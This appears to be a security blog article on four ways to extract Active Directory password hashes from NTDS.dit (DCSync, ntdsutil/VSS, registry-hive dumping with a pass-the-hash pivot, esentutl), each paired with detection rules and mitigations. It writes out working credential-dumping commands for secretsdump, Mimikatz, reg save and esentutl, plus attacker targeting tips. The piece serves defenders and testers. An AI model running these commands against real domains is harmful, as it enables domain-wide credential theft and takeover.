NTDS.dit Extraction in 2026: 4 Methods, 5 SIEM Rules, 1 Domain at Stake

Last updated: April 26, 2026

NTDS.dit is the file that contains every password hash for every account in an Active Directory domain. Extracting it cleanly is the de-facto endgame of an AD-focused engagement. EDR vendors have made the obvious paths louder, but the file remains accessible through several techniques — most still under-detected in 2026 Indian enterprise environments. This article covers four methods, what each leaves on the wire and on disk, and which detection rule actually catches them.

What NTDS.dit is

The Active Directory database, stored on every Domain Controller at C:\Windows\NTDS\ntds.dit. It uses ESE (Extensible Storage Engine, the old Jet Blue database). Every user, computer, group, GPO, and credential lives here. The password hashes are encrypted with a key that lives in the system registry hive (SYSTEM) — which is also on the DC.

To dump hashes, you need both the NTDS.dit file and the SYSTEM hive. With both, hashes for every account in the domain are recoverable offline.

Method 1: DCSync

By far the cleanest method. Uses the legitimate Microsoft Directory Replication Service (MS-DRSR) protocol — the same protocol DCs use to replicate among themselves. From any host with a domain identity that has the Replicating Directory Changes right (Domain Admins by default, but also Read-Only Domain Controllers and any object you have explicitly granted this right):

impacket-secretsdump -just-dc-ntlm corp.local/admin:'Pass'@10.0.0.5

From a Windows host with Mimikatz:

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

The DC sees a legitimate replication request from a host that has the right. No file is touched. No service is restarted. The credential extraction happens entirely in memory on the attacker side.

Detection: DCSync

• Event ID 4662 on the DC — “Directory Service Object” with the {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (replication right GUID) requested by a non-DC account.
• Network telemetry — DRSUAPI traffic from non-DC source IPs. DCs replicating with each other is normal; a workstation IP making DRSUAPI calls is not.
• BloodHound — pre-emptively, find every account that has GetChanges + GetChangesAll rights on the domain root. Should be a tight, audited list.

Sigma rule for the 4662 detection is in every public repo. Deploy it before reading the rest of this article.

Method 2: Volume Shadow Copy + ntdsutil

The traditional admin path. From a SYSTEM shell on a DC:

ntdsutil "ac in ntds" "ifm" "create full c:\temp\dump" q q
# Copies ntds.dit + registry hives to c:\temp\dump
# Then offline:
secretsdump -ntds c:\temp\dump\Active Directory\ntds.dit -system c:\temp\dump\registry\SYSTEM LOCAL

Or via direct VSS:

vshadow.exe -p -nw c:\
# Mounts a shadow copy of C:\
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit" c:\temp\
reg save HKLM\SYSTEM c:\temp\SYSTEM

Detection: VSS / ntdsutil

• Sysmon Event 1 — process creation of ntdsutil.exe, vshadow.exe, diskshadow.exe, or vssadmin create shadow commands on a DC. Legitimate use exists (backup software) but should be tightly profiled.
• Event 8222 in System log — VSS shadow copy created.
• File-creation events for ntds.dit outside C:\Windows\NTDS\. There is no legitimate reason for a copy of the AD database to exist anywhere else.

Method 3: SAM + SECURITY hive extraction (off the local SAM, then DCSync)

If you have local administrator on a domain-joined host but not Domain Admin, a chain works:

1. Dump the local SAM and SECURITY hives — these contain cached domain credentials and the local administrator hash.
2. If the local administrator hash is the same on multiple machines (LAPS not deployed), pivot via PtH to a higher-privilege host.
3. If a domain administrator session exists on this host, dump LSASS to recover their NT hash or ticket.
4. Use that to DCSync against a DC.

Local hive extraction:

reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive
reg save HKLM\SECURITY C:\temp\security.hive
secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL

Detection: hive extraction

• Sysmon Event 1 — reg.exe save HKLM\SAM command line on any non-domain-controller is suspicious. Backup software does not do this.
• LSASS access events — Sysmon Event 10 with target lsass.exe and GrantedAccess values like 0x1010 or 0x1410 (Mimikatz signature).

Method 4: Esentutl direct file copy

The often-overlooked path. esentutl.exe is built into Windows, signed by Microsoft, allows file operations on locked database files. From SYSTEM on a DC:

esentutl /y C:\Windows\NTDS\ntds.dit /d c:\temp\ntds.dit

This bypasses the lock that would normally prevent direct file copy. Combined with reg save HKLM\SYSTEM, you have everything you need.

Detection: esentutl misuse

• Sysmon Event 1 — esentutl /y with ntds.dit in command line. Legitimate use is limited to defragmentation operations and database recovery.
• File-creation events for ntds.dit outside its install path.

Which method does your attacker prefer?

In our experience across recent Indian engagements:

• ~70% of credentials extractions use DCSync. It is fast, leaves no host artefact, and most environments do not have the 4662 rule deployed.
• ~15% use VSS / ntdsutil. Reserved for environments where the attacker has confirmed shell access on a DC and wants offline extraction with the shortest live time.
• ~10% use SAM-and-pivot, when the attacker has not yet escalated to DA.
• ~5% use esentutl or other novel path, usually when prior methods have triggered alerts and the attacker is operating in a more cautious mode.

How to think about defending

Treat NTDS.dit access as a tier-zero event. The defender goal is not to make extraction impossible (it usually is not, given enough access) but to ensure that any attempt creates a high-confidence alert that triggers immediate response.

The minimum SIEM rule set:

1. 4662 with replication GUIDs by non-DC source — DCSync detection.
2. Process creation: ntdsutil, esentutl /y, vssadmin create, diskshadow, vshadow on any DC by non-system / non-known-admin user.
3. File create events: ntds.dit path outside C:\Windows\NTDS\, anywhere.
4. LSASS process access with suspicious GrantedAccess masks.
5. Reg-save commands targeting SAM, SYSTEM, or SECURITY hives.

Each of these has a published Sigma rule. Deploying all five takes one engineering sprint.

Beyond detection: structural mitigations

• Authentication Policies + Authentication Policy Silos — bind tier-0 administrators to authenticate only from designated PAWs (Privileged Access Workstations). Even if they steal a hash, it does not work from elsewhere.
• Tightly scoped DCSync rights — audit who has GetChanges + GetChangesAll. Should be DCs and replication tools only. Many environments accidentally grant this to backup service accounts.
• LAPS — randomises the local administrator password on every domain-joined machine. Removes the SAM-pivot path.
• Tier separation enforcement — Tier-0 admins never authenticate to Tier-1 or Tier-2 hosts. Their credentials never land in lower-tier LSASS.

How to find your next NTDS.dit attack path

For attackers:

• BloodHound query: who has DCSync rights on the domain root?
• Check for delegated rights granted to backup service accounts — many of them inadvertently have replication rights.
• Look for Read-Only Domain Controllers with weak msDS-RevealedUsers configuration — RODC compromise can be a stepping stone.

For defenders:

• Audit your DCSync rights using Get-ADUser with explicit ACL inspection, or BloodHound’s GetChanges/GetChangesAll edges.
• Check whether your backup software’s account has more rights than necessary; many do.
• Verify the 4662 rule fires for at least one test case — never trust a SIEM rule you have not validated.

The takeaway

Domain hash extraction is mechanically simple in 2026 because the protocols that enable it (replication, file copy, registry export) are the same ones legitimate operations need. The defender’s job is high-fidelity detection at the choke points — not blocking the operations themselves. If you find NTDS.dit extraction attempts in your SIEM, you have an active intrusion. If you do not have alerts that would catch any of the four methods above, you have one going on right now and you do not know it.